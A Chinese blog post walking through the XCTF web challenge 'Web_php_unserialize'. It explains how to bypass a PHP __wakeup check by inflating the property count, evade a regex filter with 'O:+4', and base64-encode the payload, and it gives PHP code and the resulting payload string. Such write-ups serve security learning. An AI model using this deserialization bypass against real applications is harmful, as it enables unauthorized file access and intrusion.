您现在的位置是:首页 >其他 >攻防世界-web-Web_php_unserialize网站首页其他

攻防世界-web-Web_php_unserialize

wuh2333 2024-07-21 12:01:02
简介攻防世界-web-Web_php_unserialize

1. 题目描述:查看以下代码,获取flag 

2. 思路分析

从代码中不难看出,这里共有三个地方需要绕过

2.1  __wakeup函数:若在对象的魔法函数中存在的__wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,因此这里调大对象属性的个数即可。

2.2 base64编码:这个简单,进行base64加密即可

2.3 正则表达式绕过:这里不允许存在O:数字或者o:数组=字的字符,这个网上找资料,在数字前面加上+即可绕过

3. 获取flag

我们先绕过wakeup,将Demo对象序列化后,得到的字符串是这样的:

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

根据以上分析,我们将Demo后门的1改为2即可绕过__wakeup函数,O:4改为O:+4即可绕过正则,再进行base64编码即可(这里注意一定要再代码中处理,线上以及一些工具上进行base64和php代码中进行base64获取到的结果不一样)

详细代码如下:

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$str = serialize(new Demo("fl4g.php"));
// 绕过正则
$str = str_replace('O:4', 'O:+4', $str);
// 绕过wakeup函数
$str = str_replace(':1:', ':2:', $str);
// 进行base64编码
print(base64_encode($str));
?>

执行以上代码,得到可以绕过的字符串为:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

再构造如下请求即可获取到flag:

总结:较为综合的一道题,考察多个绕过点,包括wakeup,正则,以及base64加密。 

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。